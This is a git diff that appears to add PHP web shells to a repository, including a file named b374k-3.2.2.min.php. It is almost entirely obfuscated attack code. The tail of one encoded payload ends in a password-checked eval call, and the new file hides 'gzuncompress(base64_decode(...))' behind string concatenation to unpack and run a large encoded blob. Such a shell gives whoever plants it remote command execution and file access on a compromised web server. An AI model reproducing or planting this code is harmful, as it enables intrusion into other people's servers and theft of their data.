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",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-3.2.2.min.php b/php/b374k/b374k-3.2.2.min.php new file mode 100644 index 0000000..b7f5003 --- /dev/null +++ b/php/b374k/b374k-3.2.2.min.php @@ -0,0 +1,10 @@ +".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrsvQl74zayKPpXGB2/yBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvDwgWkKFtOZ+aee8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLVsdRaN+q5CJOdisV6cL7ujvfHelBWs8G0zE8y+VxoEWbFCL1pLUbloqTWy3QzJNGJeW1a2tci/SWbLY2yi6DaK++HmUxG3EzlWqkRSSr9oZATT8FxbTjaKYNBWR8mJ/VMRWj3K+V4aX8ogSaV8+36Lr8qia18bcutiuVYPVwszHcFUY8Hw8lzL9brcaNUK1Hh5jmBV0PceVbkRly4JSbKkWN53QnFatyWC+0ysjpKnFvb3SZyjHWYcqMxSNY2685uzaYFtd9uSYV2a1LgioVMUJLH1alQXsfq5aAW7kwKpaBYjI3Zc74830TUlLwW+KqSnzPhRWvbGSeFdGJZqQT1rNQR9HRi3K83xW40vV3XuZgcLU/GlTY/GDBC8MBUhxyTnAiy1F+2xaW4jzC5arLNxlT5uFgUasVMOTeJ5+rz5SgixUPrxkyepuYr0JCWMqHryYNQKR76sXn6NAkOprsVfWrVRKldzXPtaVMoJxsThi41h5WQzs0G/VixVS0Gu8NocVhts6PGulWpFlpqfi1G9qHwfjEX6PhCnJ2aJ5HfzqTI7qAeGnIpqpXPcig2LiWDYmQybWTqQp1Ltc6LGb8YJGOHRI0vtpYjuneuro7h/CHfzw9zoewmT+f78ewyMUs2lnrhGG2lM1NtH5Nzx2R4fWDPhYaUWLKLYIUJhXqpY+rMVheL9WGh9A6Jdq1WiTVH/KJZSAuNzBmgXHEcfco1NvVWdlEOKcVYcJmKHnf6oZdLR8TosjCYC7OlKhdi54weO/Zao+ZALybyh4VUPhcGy0pE64TS5dxOXJ/S7E5ahpq5c0hOxEJ8hwvuK+yhk+k0JomtUGaDEbqzaO/rsViFC4U4OVQIxSflfH2g9Oe5rNAfLYOTQSIi6tU9V0pvOjoTDMmroJaa1LPh06h5YiLMuR4WEyWGPxd1JbbODOW5HBrpJa43PjRGjcyYV6VhnZkI40ysf95EUvy5IHSYSaRYmvNLbRkR47ldrJFapBmhPG/FRh2mLjTzwTFd1tbzxihxVBr8pnSYSnGpHuochrtjQksNuJTULK3Hu8Gxc9hNFq3gYlxQlVFxM+wnisd4Ii0r61WBWTda3e45nOgvejzPhE7H2jQv1GrhMi0cmqV8Yz5MLieJRJjLCPWpFNJqUnN0Kpf5ySnWah9UZbqvq2xZLIUze3W/609WXGc45861dKwwLjYAnVtNX+aSYitSKA22Qq9WqkwnO7nbT4/yiVS+nqHD6zA9qzUORb25FTIrqRnJb+n1pCNoNbGhsrX6iTsV8qVSNH3unE+h3GFeT5USEzqcbBQFNnPat/oJrshJa+7Mjib6uVVuc135MA6Ow/lEXsmz20E3qpZOUU2qLHIJvUEfpTWdHTRip0L3EJP0ekxZlvZbPlbi8p16qtkSOXqurpet3XpXykxalfYgdjqph35GkMO7MTNIp3e7EhMuFKaS1E6mZtHqOTPNhsLJliAdk7VUUhk32Vh4PerMyrXCaR/ZFuK8PDoW9KEg59Oj6Dmu9fOZQa06S+xLC1WcBoudfK0vx5g1U2oW2Fx5PIqd87NgY0kHAfeuaqtFaqxvN+l8O73rLOclVg0q2UaoKEwW2wxdPetytDtNjoHApFdgVLlSPL5LVUODYiyy6laj9SJf36+Y1Ly8Ps4P5faRzg/qij5WZ7FJk95NxW2rIY/m8c7qPJwP2uFeoxsbpM+D9qIeO6w3weQoES2HGquVktKTidq6Wuo1m7XKWuWF5TwzKtfL8/48mwzFlcWkPIpmlsdoKpGgt9HQetfmy3tpF4smNttdQesM+VSxHDq0k+fKurgSRoPKPl2Or5g1PUhL0rbT6YkrVqDb07KoaiVGXi7Po5YChHhmER8I9eR83JW3w7YkSfW0Imgsp81S45VYGmn9Xad9jOQqSjwhD5WiMEpNVqtiaDDdL0qTunauCyk9NdiclXOtnRaS52pmw0c0uUGflHkGSNBYiMmdAL91Rp1xJ3Sovviery34Ii9yeL1nZ4MVu20ui9VJKHWWUoV9Mx9dz5JRPVYRu0uw5nJKvlDa749ci9di0eMxttodmlNxuDn098y+N27q1cU5WJrPE3kuH15qeyU0jfD9YrbXnZWzTbl2ys0y41aop4ipbEEejltq8RAcpAbVucjVGpy4Wrbyw128yFaiRW7TOKziqT4bLjCtzGKXm2QSw0imXFW2wZ7SysSTpf6OrU/O/Km6aAj5eKci9aVwVI0PpXCCEWMMHW1JUuw06fSYTOs0aIWD69JklFYmhXYythRzvLg/hFddflerpIutRlMS++FVWhMy4jgVb4kskynV0+3Evgsaw5+Y1KIT30xih/Rw2B4fugNuU5tGh9HFalybHmaD0S4ny1k6vKpnJ1W61mzyc27WWBW5VSbBily3nojIcq62mFa4ZJw+NpZNaRoBi18b8Im0XKa0lcSN56dudjXOaNn1fscu9WWcyY/HwXY3VCxMxOyxNBsMWs1B6bCu7itaiRMX0ZJQP1WKpdl5Jk7V6Sa4H560rtw9LMOFZDwdzufEJqg+XomCtTsfrDTkIS838+tpTtLGQ/3MZIdSOtGux+hSsdFrDSaasKqMgxFuk+6NhUMjmw5G69NjNbWYnSeD+oZLdugDIyaruXIvk42ValpnHdfrHKepsWkkkSxGhW03HM0sEnMgS/JgFo65QeSwXoW60X2jkzzpunwM9jvattOLVJnQrBDOxGJsfZrqK83SdCnQYVZTo32hU1439mJ9WRZ7y/J8PGlV91VFXUqzrh5Zcod4sq9vxHZ0Ee/llUw2UqivBWmTbIqV4aLRmLKrTZBOgSWMyeUPh7Q417IxZdM6Rtex1VFcqrGdkikq6qZyeHlnbgCFXD7gyVGaTSqFrT4tVKeLer7T60dn4VKc6XNiMFdZjLrZZKUQDgd3pdBMOkUn5/4p1W8torHyqDat6s1KSOGEflgchM7d1Sy1qWw3wiFXSJ/3dHacDS3XITFdr2ZD/CRY2KXX7fXisE+LkTavh4CcW2iJybR/6qUOs4zG8o0OzRdT6vEwne0L59g5XAZKWqajRzpbvtDYnXrLczaljRQ52to3Ynn2lFQiXL8fG4rRCDfbLsbRHVDQmEx/MF2Xw8X0+TSfxYTjVC03liK/TpYGy0JQLkYWlXPvlMtUJ0q1JAyCyVp6ku21evx+my02Tq1xMhNf5Kb1JdtNxPlob7trL+Xqob0tKr16spxMbjfxyrqUz44nmVZPSTDD5Kqpsft+d8WX8xM1VREXJyE0oHuZ+mFdOArsuKVkDkBp2h2j2hSsT8NsrnAcdscruRwt6Omx0J5Wd5X0Yq1w67AQzi5jm3AkW5meGq2WnOKO52w/tWbOg01ClpfnllAcjBqJZXTANKbdakpKnIIZtjc5L1vxcySzqKtxsZPXGmJwFl+smIxUouepdm/drPXbtFoJT461ZnrerOTqq2LrvFS5opSL9w6l1nI4jxzE5KlZYjPaqaeH1Q7Q32txLlWIimwSCN9zqRjMRRta61hUNocZ15D0/nA3PO3yg1l5Hp5Pmzk+01kMYtk8XQ8tpuywmC6fuV1jMq+Gx3w1dO4NUpo0bo5S+wkTzoGdUndfXfSn9fVSl6t8HYh9lSuN4jRQMrKRWo+tHyOVJn86NeWZ1Fx2J6lxtDaPh/QdSxd6eq09XM6miVK2NFeK0rTLZ3PFYaIYnJzqu5iy7fHnVTKVzEUzfe20icxmzOzQqB8EUUvwS0ZqKxEoEPr9bj3T2IcB60uVTHStLovzdSs8z7DteLxdj8/iYpWJjo7y8TjjlHM7OG6cmRrY06YP03KiV98WWlzsEGwXupLaOW+C7dNMDp7Tm0a6Uo9NWiuGSeVPmSgzmo5jY200U/rnWX5UlJWmMNxJoYnQLp0HY2mk6On+KlsSZ9pxlItprfFm38gO+0f2tBo3lxwdOVXi69ooN4916Wypox6HsX1yVEgVtJLSzo+O/UNvpg1K2iFZpiPbkjgaHvsxfZQZr2ub1eY4yzbpSiObCoZbtRR7ytDzjbhdKUovI2en1Vozs4y1K4NCMB08dPXNtJnnK/1j99gsnsf7zUavd85LbbNgQ6WYGB9Xwhkhuxjqg1U3WMtGleZ+LtWSoAGNA6ufJ/tePDXjwrPwaJNPlJJMiusfhaSUDik7tjotC+lMk9fP1UpxNzmOpoVYLbjVM3I33qltte662OYOnF6ZFYeL9DDfm64rh9RePMpcOLfWj4mMEu8s9J5a2E4Kvcmgse1GWuXGqJiMxDqjmXii+R6X7EujzDzdz7PZTCSXoiOrXLrXjx3HleqEnSYHmcEhz4SPPT5WnZUHuVR81NeSamOjTkYi0ArX625L04vnWCHfaiujU2yyyUSYUe04p9v14ry0V7v5U3Rx7A/PK1rad7aJucgwrfGgU44N501tInfG/X5iMBjs5dA43dD4WbLPnlkxui33tzVa2e8kZh5aC9UIE+eT4VYrERvQmrw8NMJ0qFySTqW4sOTB9jPaSuVap0aiWAQraDzaYGc6LUf7GbAr57LheLcwp4tdvbcMT3vCPFQMb7QTw8ebzUhFGO33265wDtPb5oTTNGG/Paem8TndCI/3rcp+IfSkRuvY6CWqpcU8U1dng0yqIevndLuk12rrzG7ZL61G01NGOjO73j4f3M9LyTOrjpWp3uE2QfW4prmmvIwr+3Z1Xosd2oOuWJrH2BCttzKVUWqm7WalbBVoAauwPOrWZ5N5cLHMtdluqy4VtFF3v5bOoTRcqC6tN3tOxStU7Cn6FHWsZTqvC4Zuh8w6IPN3ef6m6bSq3weeKQ4sb+qbyimyqvPS8r74Vuz12j3qB1V8GwNJX22V0Xcn2+sX0VerPajmi6Do77zEv2mcfu9f6aLwhjBp/gd/2O/IZHlNEeiTnR/xzkck7ZSrcIK8dNcB0t90oLu+CbzI6/dhmMYIHK0CXDpDMysONpFf3P+yADyk87L0xh15Tdfu/fROX/kDgT8pM4eCKfcgAYDzGqzR7kSF1oAuEKB+/ZW611VevMz65cWPsN0xoKfv3vLtdr1aBOOgoJ+ddn/wTCBWrHKwyAkoG2/wN4DVVnTkXmQTDhhU1AZ7ebmo/k8K4GVkecNz9z6Y5nsg8AIEd0CngTxAfdUYlVd0Sj8p3Itf5456aE3vaZzqf6UEmaFhdzytVG7x4vc9LUEfa5ywuA88+fzP1NcQBn2lACdxzEpGqJ+pv8D/YEcbLWTsTvvxg7q/SP31V+LXL5cNQh1j0TyX2ROl6ScBkDynmc1SlXcS++W/Fmn4v2dGFmT1y3+F0X/PCs2ygJO/hJ9FWl3yEvjwv36dq69fldevDCfpHPiUZKMZU3lHSRzHUrpMcRI9FzjK7o+vIQvua8gsGlJeP+zFPa1SLKCdlZmdCMo9U+zTQeV17v67D5EC/7+QVZESOX0lsy9+RdZAQYs+XlJ2JnrYJQdZZf0Uz+JffkqiRc78NjpmIUv6o8afuS+RmHJ8PvCsvvoSicfBt7zTBV7ivkiyxD1Dah9pgV9KX3Btz44uRf9ZnZgGpeegbk79ElGOlCYLPEv9F4P+MzIeVZrldxoCdY6En+w12NrX774A7ArAU0WBgx2TO1XZe9yOwNMC9JZ2/x4E4KKsDmbgfAe6Es5hmZFFReB0zv9A+eXFAooFm0W/hiDnuFmV5ZFY+Mv4n6d4wFyvAsH6Bm3qTknhyoRC4474/c2/g8ODhC6Q02/oF6zRBNLkhX6gVQ7k3wNcnLS/9/eLvVGx99ZvlwZA7Bb9WKL8Rl3Nf4JzWaElihGgTPBruipLS//rD9B8kAwa/cXvf3YRZtaMaHOTAzB2Kh3K9wSIBukaaCpJNeAIFZQypvIbJuibSVi2UOiBefsbdSXni5XuqwwGnbcKEIm+P9z08QqoRgWjpOElq48yqWqH+gLoIin5sPlgYtsFLZp6xWZ7UDRocteOlhLaHFtMwQCkedf0u1mTQSSs6HeWBozpY6kmNaUqX/gvQBBDrPdQiKucvlMlR53PH3GgsPBiPSiNAc9td5x6gkzkGhNfd1jsTd/6gx5YvX1I2P7CiYp+ug4SCPzm+43oKFf+F5/Poh8t9hq94AhsvSKA7w/ehr2q748nTFjgg8YhiXfROJgKG2dUtuCPbyK95Jm37U7WYZVwLf0ItUTvLzGDRLCq0vrKxq4ATYF7Y3nVyPgALXNgL9GCRDQY4C8YCpCCEp4K1V4xP2jDPiwC3SkLPp/JBdJQEb75IVKkBxArOEiDCzj4g0jiBI3DNbxB9UKlDztVYDlGZrkLRIaagRuFSgQCJnEqRwuwnWaGN5GwtneIMbkY/H6nuw4qrbwdeH2Fx01z9ps79/4OTCp7WHzffXCy62CSf4eM9+6gmMaay5Exc+7v4DrqrdmRph4EhobCoGN5BnNUgDManq8m429mn79bnOikBQ368h3650Db2rzNZdc8sJKd6qglxJAAHfahbC0XWwNTM1VUbgkmi86s7v1g4dN/aAoP1ucfDGAYAfzVhJ2q/NA5WaR/0Cqz4vfcD10Fa/8PTZJl5fQDqjA/hIPy4wC67wcDmOwHI/BgDf6hnICWIv0Q+PnhcAjxYLF9jxrYmBVHg7rvkbAPRZ7CVDwcp1qyTpWgngHVABOiD3R1oD5cAljrNORIcuq8U/M/W/HVgQMT7MBLzlHDaYTsugccrAOF6AAq03Zz8OueUAcewg8xMDVfwBoDivnAyqmrOw6sIh8xjUskOom4kJe0quKlAs6zN+0EORnuM2zS4AZrCTdYRDkT0m9sPjxnngN+qTB+xIZeOfcBk5HfsH8DIgvSLQOZBPgV/qZojbrbvLze7d3AeyjCwPe3uw1ck+EOT4Kphqwisu6NZc7RCLQFcfcA6HesL/4G+4JXNLC4r6Ak2gfAGDiSwA+4QRZoIEp83/3f/dCdAv0LKTP5xJSLgJh3Bo87cszOPWhGIhDLQLrA0QL6OlT/AWvAvTxMheoa/AvUnujrrxGfKeYZWhDgpuXer500nRPxGFxUa2YC5OTm/3ecblT8TFQMoNDiBvYUYP4jpRwkcRJYNlDvG9tqo7txMTBKZifgBGLuOkldcYLwBlt9jVwCwNEfv9s5FtF/n453KLDq/t2u6wFuH5wVwoSAzcVwwwq5GG62AhbZTy845WdIhfsffaXurpBrZ7tH2Mz5T48xdDd6kxVOukaxnQ9HmOU0xvJ+osLUy6vpCaXwCnJtUn2BByrikXGAGVHvDNheWBNkHatGYzRxpeAPhNceLNXtwcATsHQpW5GAOCC9hxUPGmkYKBagJBAcCM23yB+GrHOyCMkLhr3kOo7ozTj+MprFCLJmkvdTo/beiNmjhWn+XSF706/6DUMVpNbsol8WnGwkERMZtGABpgyLMsDghTNJJEcVox14nv11Y0NMrfE9TdHatDglL7GXcWigMF1TOIanBWYFNgkoG3LZDyry3i7B2lA4q3HvM0BPwL8OlRxleGvkKA/2OPIKBAqoB9QDZW5hTLMZ6A4gmO7vePAjDJJ56isFzUNwPBDCwGMEJgeDkJ4jWWRtFFlTXwGv8fALQEEgyHuo8Le79R9XqIX1AzjfV9rcMoOt15xW/RR0VXyExaFhkej7I7QtvjqSjEr4P6Chw+dVE7QAhOhXn8EopvoVMDsAyjZWBUoukGxPeMIYo4tNuCaTXRnKM684BxEk3N8tAFMDjr0z9Gdk+UFqJJzDWHFDTHsEIhUaUJBjJ8ea6GwbACqEgFEfmdX6ZrySxbh9aMaAcgC1xB0oO8eUzDDz8RVPQoMgICK9a/nFVqdQG2A/oQ9L6hrpz/ZyhvPhgga/IDXwL9YeLY3I2gMDEQD3BQj02RPU//07NNOFCDBis4pSzEq0qs6ptC6rRuN7QENSNdBAM938e+/ILfAqx4DUk5WN0T6gaetsmFUDbCBv/ID183bV16i3wHELJKNrDS3fyn6ACFRF1sgkgCEQjFjLjP8JYn16AtwRoOBazEs7ztExVmUBCo84zbJFKBVBax3KKWrXE6LQT1IJkwKmtowRL9Da44W5pMpiH8wQaXkTbtAOKMkvEOKZZa8xOB+PsWdlUC1HOyNzxAi0uJgx0XFhwHZ4/2YUD/zy8oImYICYkXBH9WzUhpcWhwnDnB5XZQA0LiNjpEMQmKnYrmALA4OrNWPtvn3CwUYhU/8LFhOovKe4CdgiDLYMDajb1mD0uYUSqIL+wI8f5O/lGa/jBlpAkd37ZlXPUGkFvZAzckyyweZOufeZ8D6r0Sa8E85t6YHwDrTO5iNarf2QD/ykmAWFzEEGXdAkBNYDXsQrIfg2MZoc7kQHm+pCeP4MRpJ7PzMKN1qAoEXJi8fsdA8u+1s6hMcyZQoYVAwgZFakKZTox51k86VjufLbi5L/3eXqDg4FB3cdCP3TBb89+J5AWZ9R7+XCFrBnFSIS4wNDIW7I30RxsAarNKMPZAL4Q9FACC278Ygr/yTa4EU9yDSo/5jGuzkH1yJoy5ABerSGAh0csZlml3t2Mu4R8+3lVEUc/JjHXI0LI8sprIleAJH8cUWwvZioX15wmcvO8u4ZOMHIvvFh2wRYO+C6R9iZLHLB1gz21tPy7COl9ke9i+CtKf4R/k8hx5j/nUN3/t8+dp9Y9lj5IKELSU6RZKTe3+1UgXq40+g9R5uLHWF79oW+0Y/nP4Jfvoe+h56CId8DLGALTUP+oGXDWFjsboGQuEWGWQLLN1MRQIj+dAhlg4wAtZMEXtpYCQgLOnN3AMKTDIyZMPTbfXQ33y0WaKdljB40hcMTRFAz2HA8ttExJFHDJR0OnBf4oFWdwCf/LD7hoDyaI2Pj/VmkJ+lIPWKjh4309ZNob1wCIV9DNAqnitrlKY6VdW/uQiB3oBRog3Bnow2EQC9Bnn/nR2Sa0L9S4WM+HA4jo7vxacFq/mdbc7LhszZ81gEveMOnbfi0A/7RGz5pwycd8HNv+LgNH3fAs97wURs+6oBnvOEjNnzEAa9AXwL0A2ztiRJhQEbgN2j9+YLa6AkTxTCH92AiGOb4Hgyo7MO6QGUf1gUq+7iucPzjusLRj+sKR8i6TCEMQc0l1bJg/Wb/954xC7rS0PrbnHedG9rpYEryZ7RjN857BHlppFEh9CMSjsaRcweY+vyR2JX4c/4Hfx3+04T/lOE/A/hPB/5ThP/M4D/TnN/2aUDOQ/eKfEB4H4xqH6mFIMM9ODqFCTxEA4ZoMur8Rmb/cYOIgA3wlhAwxxIQqKGmcCBy8MICEyzN4E8r6etL2JJfYVt4ubvUa8x8N5AuQjcQb9pRlkW8gdf0JHlsPlqeJJQbOnBDxWBt4FTvilGW3WvoJ9Tgfvvym8/z2M8HVC7+CE8NlMOOZ7GFyljDnVn3bvyQ16CPmUKCLtWlAYqyCFCTFoT9mx/7Uz35vgDuQaBmErmdR2Xe6RFVBKqca4XBafd34F+kGewkrHKFLS0DqX/gH7h7AH8c+y2YfNXT446FmzO4ibFRmGZx0FJDscF5YPvlZEkA8MuL/8mPHCXR5xPeYMFyENfT3QLV8rtlPkN+HkYDgi9WyxaGzozQmjoSCRwMmhsftA8yCULYERKr+XYBhyMITn3XjKKcLmwoIAlMKaxiPFgK+sMd8xJGUxjnkL2Nk27ucAP81n2jvUWwazQyvWv8yZEkuAtT+gRH5U9nz4A0q2/wN0N4BMHdOIC+AoxG7OrgEuP3gRCx9hyXQoTYjvwtm4RpD1sK8hxDPvn/5Q+4Dy6+4g2QbWjCZxYu2zE+LUC8s5vjmYrxWp